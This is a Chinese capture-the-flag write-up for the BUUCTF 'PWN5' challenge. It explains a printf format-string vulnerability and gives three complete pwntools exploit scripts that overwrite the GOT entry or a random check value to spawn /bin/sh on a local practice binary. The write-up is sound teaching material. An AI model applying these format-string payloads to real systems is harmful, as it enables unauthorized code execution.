BUUCTF [第五空间2019 决赛]PWN5

1.Checksec & IDA Pro

BUUCTF [第五空间2019 决赛]PWN5_第1张图片

开启了Canary,NX,部分RELRO。

 BUUCTF [第五空间2019 决赛]PWN5_第2张图片

2.分析源码

// Main
int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0); // 读取随机数文件
  read(fd, &dword_804C044, 4u); // fd , &dword_804C044 , 4u 分别代表: fd 文件描述符 ; &dword_804C044 用于临时存放读取到的数据 ; 4u 欲读取到的数据 ; 返回值 实际读到的字节数。类型为 long int。在这里表示 从 fd 中读取随机数,存放进 &dword_804C044 中,预设读取大小为 4u
  printf("your name:");
  read(0, buf, 0x63u); // 读取键盘输入的数据,大小为 63
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu); // 大小为 0xF 的字符串,使得password = buf 即可获取shell
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}
// sub_80493D0
void __noreturn sub_80493D0()
{
  __asm { add     ebx, (offset off_804C000 - $) }
}

重点是:

 fd = open("/dev/urandom", 0); // 读取随机数文件
  read(fd, &dword_804C044, 4u); // fd , &dword_804C044 , 4u 分别代表: fd 文件描述符 ; &dword_804C044 用于临时存放读取到的数据 ; 4u 欲读取到的数据 ; 返回值 实际读到的字节数。类型为 long int。在这里表示 从 fd 中读取随机数,存放进 &dword_804C044 中,预设读取大小为 4u
  printf("your name:");
  read(0, buf, 0x63u); // 读取键盘输入的数据,大小为 63
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu); // 读取键盘输入的数据 大小为 0xF 的字符串,使得password = buf 即可获取shell

3.构造PoC

由于开了Canary,首先考虑格式化字符串漏洞。

计算偏移

1.

BUUCTF [第五空间2019 决赛]PWN5_第3张图片

 输入探测格式化字符串的payload,AAAA-%x-%x-%x-%x-%x,A的ASCII码值为65(0x41),因此是图中选中的段。且偏移为10。

或者还有一个,AAAA-%p-%p-%p-%p-%p-%p,32位64位通用。

2.

首先在main函数下一个断点。 

BUUCTF [第五空间2019 决赛]PWN5_第4张图片

一路 n 到第二个read,输入 AAAAAAAAAAAAAA 

BUUCTF [第五空间2019 决赛]PWN5_第5张图片

stack 20

 BUUCTF [第五空间2019 决赛]PWN5_第6张图片

使用 pwngdb 中的 fmtarg 工具,计算偏移:

gdb调试 | pwndbg+pwndbg联合使用__n19hT的博客-CSDN博客_pwndbg和pwngdb区别

 

知道了偏移量为10。 

简便解法:

因为我们已经知道偏移量了,可以使用pwntools的 fmtstr_payload 函数。

因为No PIE,可以直接格式化字符串篡改atoisystem

Pwntools---fmtstr_payload()介绍_半岛铁盒@的博客-CSDN博客_fmtstr_payload

fmtstr_payload(offset, {printf_got: system_addr})

fmtstr_payload(偏移,{原地址:目的地址})

在本题中也就是:

payload_fmtstr=fmtstr_payload(10,{atoi_got:system_plt})

完整PoC如下:

from pwn import *

io = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()

PoC原理解析:

使用 fmtstr_payload 进行简化格式化字符串,通过替换atoi提前调用system,再手动输入/bin/sh获取shell。

一般解法

先使用IDA查找 dword_804C044 地址

bss_addr = 0x804C044 

 我们的偏移量是10,因此需要用到

%10$n
用 %10$ 定位到这4个地址,从第十位偏移,也就是0x804C044开始到0x804C047
读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中

%{number}c表示写入的数,%{index}$n表示以偏移index位置的值为地址写入,其中n写入四字节,hn写入两字节,hhn写入单字节

完整PoC:

from pwn import*

p = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')
bss_addr = 0x804C044

payload = p32(bss_addr) + p32 (bss_addr + 1 ) + p32(bss_addr + 2) + p32(bss_addr + 3)
payload2 = b'%10$n%11$n%12$n%13$n'
#读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中

p.sendline(payload+payload2)
p.sendline(str(0x10101010))
# 0x10101010  4 * len(p32(0x804C044)) = 0x10
p.interactive()

关于 0x10101010 

BUUCTF [第五空间2019 决赛]PWN5_第7张图片

就是 len(p32(0x804C044)) 以及后续的值

​​​​​​​ BUUCTF [第五空间2019 决赛]PWN5_第8张图片

 

另一种解法

仍旧需要获取bss地址

但是这次是将 dword_804C044 修改为任意值,然后再次输入此值即可获取shell
 

比如将  dword_804C044 修改为 0x1

需要用到 fmtstr_payload

Payload:

dword_804C044 = 0x804C044
fmtstr_payload(10,{dword_804C044:0x1})

完整PoC: 

from pwn import *

io = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')
dword_804C044 = 0x804C044

io.recv()
payload = fmtstr_payload(10,{dword_804C044:0x1})
io.sendline(payload)
io.recv()
io.sendline(str(0x1))
io.interactive()

原理解析:

通过 fmtstr_payload 将 dword_804C044 的内容替换为0x1,而非随机数

随后输入同样的值 0x1 即可通过if判断,获取shell。 

自动解法

由于 FmtStr 的未知原因造成的 IndexError: list index out of range,无法使用。

但是确实存在这个方法。

CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞

pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.8.0 documentation

你可能感兴趣的:(Pwn,网络,学习,linux,python,网络安全)